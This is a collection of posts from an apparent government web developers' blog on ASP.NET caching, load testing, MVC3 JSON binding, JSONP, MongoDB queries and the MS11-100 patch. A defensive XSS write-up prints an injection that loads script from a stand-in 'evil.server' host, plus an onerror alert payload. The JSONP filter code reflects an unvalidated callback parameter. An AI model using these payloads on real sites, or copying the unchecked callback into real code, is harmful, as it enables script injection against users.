Caching and more with AppFabric

Consider an item in a web application like a list of the 50 states for a select box. To use
ASP.NET application caching for such data rather than repeatedly calling it from a database is a great thing for performance, for both web and database servers.

Microsoft AppFabric is a provider for that kind of caching object, a good thing in itself, and it can also be a help in setting up Windows web server farms.

After a year in its 1.0 release, AppFabric 1.1 is out. Improvements include a "read-through/write-behind" feature to keep its in-memory cache data synchronized with its backend provider like a database.

Down on the (server) farm, tries at high availablility in our app hosting environment required a "sticky" configuration where the server a client came in on had to handle all of that user's requests. This always led to an unequal distribution where some servers did more of the work and the load balancing benefit was reduced.

AppFabric helps here because along with its caching features AF includes a session state provider. This can allow a true round-robin configuration for load balancing. Using it you can get away form the old session state default of the IIS worker process (InProc) without having to maintain a SQL Server or ASP.NET State server as a replacement. In your application or global server .NET web.config you'd have something like

  <sessionState mode="Custom" customProvider="AppFabricCacheSessionStoreProvider">
     <providers>
       <add name="AppFabricCacheSessionStoreProvider" type="Microsoft.ApplicationServer.Caching.DataCacheSessionStoreProvider, Microsoft.ApplicationServer.Caching.Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" cacheName="default"/>
     </providers>
  </sessionState>

and the session contents will be stored/retrieved from the AppFabric cache host server(s).

An AppFabric session is like any other ASP.NET session - the only requirement is that the session object be marked serializable like any object that you are trying to store. At the same time, you're getting the caching capability.

AppFabric is not hard to install and can be set up in a cluster able to maintain continuous uptime through events like Windows patching. Some links to more info:

 

Stress Testing the New MT.gov Template

Stress Testing the New MT.gov Template

I recently had the opportunity to run a WCAT load test on one of the end-points for the new resource management tool we are currently developing. It isn't often that our main goal for the day consists of trying to bring a server to it's knees -- but that's what makes stress-testing fun! We had hoped the end-point that is delivering the new MT.gov template would handle around 1000 requests per second, while keeping page load times in check. The results of our best test are pretty impressive, and massively exceeded my expectations. We ran WCAT against our end-point with 100 virtual clients for a total of 100 seconds. The results are listed below.

Total requests per second: 19,339.56

Average mbps: 1042.76

Min, Max, Average time to first byte: 0 ms, 1293 ms, 4 ms

Min, Max, Average time to last byte: 0 ms, 1416 ms, 4 ms

At first, we weren't sure whether or not we could trust the accuracy of this test, as it seemed to be a bit more than any of us expected. Upon checking server logs, we found the log for the test we had run was over 750 MB (normally these logs are around 5 to 10 MB for an entire day). Indeed, the server processed all of the requests that WCAT generated. Needless to say, we were all very impressed with the results, as they exceeded our expectations twentyfold and the server handled it happily! I hope to run more tests at some point in the future, hopefully with more actual clients and even more virtual clients. Maybe this time we can succeed in bringing our server to it's knees.  

Is a bug by any other name still a bug?

This last week I had the pleasure of attending some software training with a great bunch of people.  Whenever we ran across some functionality that did not work as expected, the trainer referred to it as a "nuance".  Somehow the word itself made me feel like the system was not flawed but that it was a little quirky and somehow acceptable.  After running into a few of these "nuances", I began to realize that the system is very buggy. 

There are a few other well known companies that don't call a spade a spade.  I have heard bugs referred to as a "Feature".   I have even heard that the errors that I am getting are "expected results."  Somehow this terminology is supposed to make everyone feel better and that the software is acceptable.  Of course all software has bugs, but why do we not call them bugs anymore? 

Request.InputStream and JSON model binding in ASP.Net MVC 3

Ran into an interesting situation recently where I was attempting to bind json in a HttpRequest to a model on my MVC 3 action. The problem was that my json payload in my request was not binding to the model. The action I was posting to happened to be decorated with several attributes so I commented them all out and tried my post again. Success. So then I started uncommenting each one until it broke again. The culprit ended up being the very important ServiceAuthorizeAttribute.

Now most of these attributes have methods you can override to determine when the attribute is used. This attribute happens to fire OnAuthorization which is before the action executes. This is key.

So I started digging into the class to find out what line of code was causing the issue. Where I ended up was here:

  1. request.InputStream.Read(buffer, 0, request.TotalBytes);

Looks innocent enough. What I am doing with the block of code this line is in is to compute a MD5 hash and compare it to the request content. So I can't just ditch it but why is this causing a problem? Turns out that the JSON ModelBinder does basically the same thing as this line of code above. It reads the content body. The problem is that I am leaving the InputStream at the end so when the ModelBinder would try to read it, it was at the end and had nothing to read. The simple line below fixes the issue:

  1. request.InputStream.Position = 0;

After I read the input stream in my attribute, I just reset it to the beginning. Problem solved.

Happy coding.

Dynamic Queries using C# Driver for MongoDB

A while back I wrote a post on constructing a query for an array field in MongoDB. One of the issues with the simple example I gave was that some of the parameters that were being passed into the method I was using to construct the query were optional. In my case, the two parameters were a string (agency) and a collection (categories).

These two parameters are used as filters for the data I am returning. Since they are optional, if either of them came in as an empty string or null in the case of categories, the resulting json from the QueryDocument would not yield valid results. If categories was null or had zero elements the resulting json would like the following:

 { "Agency" : "DOA", "Categories" : {$in: []}})

However, if categories is null, what I want the json to look like is this:

 { "Agency" : "DOA" }

Just don't include it right? So I started playing around with the library seeing if there was some really slick way of dynamically constructing the query. I knew what my problem was I just wasn't familiar enough with all the classes to know if I could do it neatly. What I finally ended up with was just a set of condition statements to test each optional parameter and add it to the query if the test was true. I was thinking there was a nifty way of doing this but when I posted my sample to the Google group for MongoDB, the very helpful response I received just refactored what I had a little bit to make it more succinct. In the end, I was on the right track.

  1. IMongoQuery query = new QueryDocument();
  2. if(!string.IsNullOrEmpty(agency))
  3. {
  4.     query = Query.And(query,Query.EQ("Agency",agency));
  5. }
  6. if(categories != null && categories.Length > 0)
  7. {
  8.     BsonArray ba = new BsonArray(categories);
  9.     query = Query.And(query, Query.In("Categories", ba));
  10. }
  11.  
  12. var published = _publishedNewsArticles.FindAs<NewsArticle>(query);

For each passing test it essentially just keeps chaining the filters together using Query.And. Earth shattering? No. But I also couldn't find anything like this when I was looking around so hopefully this helps someone out there with the same struggle I had.

Happy coding.

Debugging Json Model Binding in MVC 3

Recently on one of my multiple current projects I was having issues getting a json string to bind to a model on a controller action. The POST request was working fine, the json string seemed to be correct but when I would step into the action the model was null. I validated on the client side that everything was fine when the POST request started, and I was able to validate that the json was arriving at the action, but still it would not bind to the model. I was perplexed to say the least. Then I found Poster.

If you are not familiar with it, Poster is an add-on for Firefox that allows you to issue an HttpRequest to your url and include any payload you want. You can set content, headers, parameters, set timeouts, and send authentication credentials. Granted, we already had a homegrown tool that would do some of this, but Poster is much cooler and much easier to work with than our in-house tool. It also does a really nice job of handling the response object as well.

So, armed with Poster, I started testing my action to find the problem. I started with all the fields my model required. So far so good. I continued to add fields until I got to the last one: Article. I put in the Article key and value, posted the request and bam, no model. Interesting. So what is the deal with Article? And then the light went on. Look at the signature for my Create action below.

  1. public JsonResult Create(NewsArticle article)

Some of you may know this already. If you have a key in your json string that is named the same as the variable name you are giving your model on your action, the json will not bind to the model. I didn't know this. So I just changed the variable name for my model in the action signature and everything worked fine.

I wish I could explain the intricacies of why this happens but I can't. Sorry. But I do hope this helps someone out there.

Happy Coding.

Defending Against Cross Site Scripting (XSS)

Recently, I was tasked with fixing a cross site scripting hole on a web application that existed on our test servers.  Cross site scripting is by far one of the most common security issues found on web applications today, so it's really no surprise there are some XSS errors that inevitably get past the development phase of applications and into the test realms.  After all, that is one of the reasons we have test servers!

I'll explain a few things in this post:

  • What is XSS, and why is it *evil*?
  • How did this particular XSS hole work?
  • How did we go about fixing it?

What is XSS, and why is it *evil*?

First, I'll provide a couple links.  Wikipedia has a great page describing XSS, and the different kinds of attack vectors that exist.

http://en.wikipedia.org/wiki/Cross-site_scripting

OWASP defines Cross Site Scripting as one of the top 10 security risks for web applications today.

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Cross Site Scripting occurs when input to an application is not properly sanitized.  If this un-sanitized information is passed into the source code of another page, the end user's browser renders the information.  Let's imagine if this un-sanitized input is something like this:

"/><script src="http://evil.server/evil.js"></script>

The first part, ("/>) is a very common vector that begins the XSS by closing whatever tag the un-sanitized input is being injected into.  The next part (the script tag) references an evil javascript file located on a remote server, completely unrelated to the web-server that the page we are viewing resides on.  We have no control over this evil javascript - yet because of XSS, it still has a chance to impact our users - most likely in a negative or malicious way.

 

How did this particular XSS hole work?

In the example that I was working on this last week, the application took information from the URL in a parameter called "fips" (the fips parameter wasn't being sanitized), and concatenated said information with another string, which was ultimately used as the value for the src= attribute inside an <img> tag.

So, in a perfect world, the URL that contained fips would look something like this:

http://url.here/blah?fips=30001

The problem here was that the application only needed to be dealing with integers, but would also accept input other than integers (strings, etc.).  Our auditor gave fips= a string that looked something like this:

xxxxx12345" onerror="alert(0)"

Let's dissect that string to see what's happening.

The xxxxx12345 part is a unique string that the auditor is injecting into any parameter that it can on the webpage.  Once it injects this parameter, it looks in the rendered page's source code, and attempts to find the unique string.  Upon finding "xxxxx12345", the auditor noticed that it was being written into the src attribute of an img tag.  The double quote immediately following xxxxx12345 is closing the src= attribute; finally this is where the onerror= part comes into play.  As you can see, in the example I provided above, all that's happening inside of onerror= is an "alert(0)"..  That doesn't seem too bad, but it demonstrates in a very simple way what could easily be much more significant and dangerous. 

The basic point is that JavaScript is being executed inside of the onerror= attribute and the application isn't sanitizing input to handle data it wasn't necessarily expecting.

Let me re-cap in a different way to demonstrate more fully how this bug works (in case what I've said doesn't make sense).

 

When the URL looks like this:

http://url.here/blah?fips=30001

The resulting page would have a couple of img tags that look something like this:

<img src="/images/maps/map30001.png">

<img src="/images/graphs/graph30001.png">

The page loads as expected, and the images are displayed.

 

However, when the URL looks like this:

http://url.here/blah?fips=xxxxx12345" onerror="alert(0)"

The image tags would be written like this, and eventually render for the end-user:

<img src="/images/maps/mapxxxxx12345" onerror="alert(0)".png>

<img src="/images/graphs/graphxxxxx12345" onerror="alert(0)".png>

 

Now, when the page loads, it throws two message boxes with the message "0" inside of them (because the files mapxxxxx12345 and graphxxxxx12345 don't exist and cause an error, which is when onerror is executed). The JavaScript that is rendering inside of the img tag is a payload of the XSS bug that needs to be mollified.  A motivated, malicious and clever hacker would be able to inject and eventually render much more evil things than just an alert box.

 

How did we go about fixing it?

Fixing this bug was actually relatively easy.  Fixing XSS isn't always quite so simple but because of how this particular application works it was pretty straight-forward to resolve.

As I mentioned above, the application was really only looking for integer values as input.  None of the files it would be referencing contained a non-integer value, so fixing this was just a matter of checking whether or not fips= exists (if it doesn't set fips to "0"), then checking whether or not fips was an integer (if it isn't an integer, then also set the value of fips to "0").

This way, when a URL that looked like this was accessed:

http://url.here/blah?fips=xxxxx12345" onerror="alert(0)"

The code behind the web page would detect that fips isn't an integer, and set the value of fips to "0", then the respective img tags would be written like this in the source code of the resulting page:

<img src="/images/maps/map0.png">

<img src="/images/graphs/graph0.png">

The images wouldn't render (because they don't exist right now), but they certainly won't execute JavaScript anymore!

Conversely, if the URL looks like this, with empty or null fips:

http://url.here/blah?fips=

The code behind catches that, and sets fips value to "0", and the img tags are written as they were in the example provided above.

Now, with this solution, we can still give the web application invalid input (strings, incorrect numbers, or simply nothing), but it won't inject any non-integer input on the resulting page, which includes external JavaScript.  Huzzah!  We've effectively mitigated a security risk that *used* to exist on our servers, and another application is one step closer to joining its friends on our production realms.

Cross-Domain Requests in ASP.Net MVC3

In support of the new MT.Gov template initiative we are building a REST API using MVC3 which will allow client applications to make authenticated requests for data to display content. The content may be for a specific agency, or even relevant data published by an agency other than the consuming agency. Either way, the api needs to be able to handle requests from within the domain as well as requests from outside of the domain of the api.

For cross-domain requests I am using jsonp. If you are new to jsonp, it stands for javascript object notation, with padding. What is the padding? The padding is a function wrapper that is usually a callback method that allows the client to handle the response to the request. In our case, the response is actually a json response with a function wrapper but the response could actually be any js expression. You can read more about jsonp here.

Now there are two places you need to worry about jsonp. The client request to the api, and the api response to the client request. Let's take a look at our client code first, then we will look at the api.

I have a couple of examples of how a client may call the api. The first is via a jquery ajax request, the second is a async http request from a controller. First, the jquery request:

  1. function GetPublished() {
  2.     $.ajax({
  3.         url: "http://localhost:53429/articles/published/Cookies,Baking/DOA/1/10/ASC/Headline",
  4.         dataType: "jsonp",
  5.         crossDomain: true,
  6.         success: function (data) {
  7.             // TODO: do something with the data, in this case json
  8.         },
  9.         error: function (jqXHR, textStatus, errorThrown) {
  10.             // TODO: handle the error
  11.         }
  12.     });
  13. }

This is your basic jquery get request. Obviously, the url is not going to be hard coded like that but ignore that in this simple example. What you want to pay attention to is the dataType and the crossDomain. We set the dataType to jsonp and what this does is append a callback query parameter to the end of the url (?callback=<callbackfunctionname>). This allows the action method on our api to wrap our json response in a function that indicates the callback function to use. Then we set crossDomain to true to indicate that we are going to another domain with our request and thus the response will be directed to another domain from the api. You can read more about these two parameters here.

Our second example is from a controller on a MVC3 client.

  1. var request = (HttpWebRequest)HttpWebRequest.Create(url);
  2. request.Method = "GET";
  3. request.ContentType = "application/json";
  4. request.Date = DateTime.Now;
  5. return request.GetResponseAsync().ContinueWith<string>(t =>
  6.     {
  7.         HttpWebResponse response = (HttpWebResponse)t.Result;
  8.         using(StreamReader reader = new StreamReader(response.GetResponseStream()))
  9.         {
  10.             string str = reader.ReadToEnd();
  11.             return str;
  12.         }
  13.     });
  14.  
  15. public static Task<HttpWebResponse> GetResponseAsync(this HttpWebRequest request)
  16. {
  17.     return Task.Factory.FromAsync<HttpWebResponse>(request.BeginGetResponse, (r) => (HttpWebResponse)request.EndGetResponse(r), null);
  18. }

This example shows a async request but the same thing could be accomplished using a synchronous request as well. GetResponseAsync is a extension method that uses the Begin End async pattern.

Now lets take a look at how the action in the api is constructed.

  1. [JsonpFilter]
  2. public JsonResult GetPublished()
  3. {
  4.     List<NewsArticle> articles = new List<NewsArticle>();
  5.     
  6.     // get the articles
  7.     
  8.     return Json(articles,JsonRequestBehavior.AllowGet);
  9. }

Two important points: 1) We are returning a JsonResult rather than a JsonpResult. 2) We are decorating this method with something called a JsonpFilter.
This allows us to simplify our code a little bit. Rather than setting up a JsonpResult to return our data for every method on the api, we have written a filter that allows us to tag the method and the JsonpResult is created for us. I know you are itching to see the filter code so here it is.

  1. public class JsonpFilterAttribute : ActionFilterAttribute
  2. {
  3.     public override void OnActionExecuted(ActionExecutedContext filterContext)
  4.     {
  5.         if(filterContext == null)
  6.             throw new ArgumentNullException("filterContext");
  7.  
  8.         string callback = filterContext.HttpContext.Request.QueryString["callback"];
  9.         if(callback != null && callback.Length > 0)
  10.         {
  11.             JsonResult result = filterContext.Result as JsonResult;
  12.             if(result == null)
  13.             {
  14.                 throw new InvalidOperationException("JsonpFilterAttribute must be applied only on controllers and actions that return a JsonResult object.");
  15.             }
  16.             filterContext.Result = new JsonpResult
  17.             {
  18.                 ContentEncoding = result.ContentEncoding,
  19.                 ContentType = result.ContentType,
  20.                 Data = result.Data,
  21.                 Callback = callback,
  22.                 JsonRequestBehavior = JsonRequestBehavior.AllowGet
  23.             };
  24.         }
  25.     }
  26. }

In a nutshell, we look for the "callback" parameter in the querystring of the request and if we find it we create the JsonpResult and wrap it with the callback function. Obviously there is some other stuff going on here but in the context of this post, that is the meat of it. And of course, now you have the code for a JsonpFilterAtribute that you can apply to your own controller methods. You're welcome.

We have looked at how we are handling cross-domain requests for the new MT.GOV api. In a future post I will discuss how we are handling authentication within this same context.

Happy coding.

Web Pages Change Fast

Web pages change fast. Then, web developers want to know where to find the original. Users want to know where the content went. And state agencies want to know what they said in the past. Web pages need their history convenient for their users.

Add page history to your pages with this link:

<a href="javascript:location.href='http://wayback.archive-it.org/499/*/'+document.location.href;" title="Get Webpage History">Page History</a>

Or add it globally to the page footer.

When the page is yanked, find it at Archive Montana. Or put in an Archive Montana search portal on your site. If you want add a portal to your site or to find out if your web site is being archived, check out Archive Montana or call Chris Stockwell, 406-444-5352. Chris Stockwell programs at the Montana State Library.

The December 2011 .NET Vulnerability

Just before the New Year's weekend a serious server vulnerability came to light. A wide-ranging Microsoft patch for ASP.NET was applied to the servers of the shared state web hosting environment on New Year's Eve. Developers should look both at the security issue and at possible effects the patch might have on their apps. 

The MS Technet article More Information About the December 2011 ASP.NET Vulnerability told how a POST request could use and "collide" elements of a hashtable data structure to lock up 100 percent of a web server CPU and cause a denial of service attack.

It was not a Microsoft-only vulnerability - most web server system and language platforms were also affected. 

On Thursday 12/29 Microsoft published the critical-severity Microsoft Security Bulletin MS11-100 and Friday they put out patches KB2656355 (for .NET 3.5 and earlier) and KB2656351 (for .NET 4.0). These patches were installed early Saturday 12/31 on the shared environment content and application servers.

Besides addressing the hashtables vulnerability, the patches altered other pieces of .NET - some quite basic to application workings. One changed component was the Forms authentication mode where a required login creates a cookie-based ticket that is used to authorize the app. Another affected area was a new default limit on the size of a .NET collection that is commonly used to group objects. Both of these have been seen to affect some of the .NET apps on our SVC.mt.gov application servers.

Here are some additional post-patch resources. This list will likely be updated, comments and additions welcome:

  • KB2661403 - An ASP.NET request that has lots of form keys, files, or JSON payload fails with an exception and returns a 500 HTTP status code
  • KB2659968 - Deployment guidelines and Forms authentication issues related to MS11-100 patches

One reflection is that the separation of static and application content on different servers is a good idea. Static and Sharp Content sites like mt.gov can be served with GET requests - the hashtable vulnerability can only be exploited via POST, so to fight a DoS attack there we could just disable POST with a click in the IIS manager.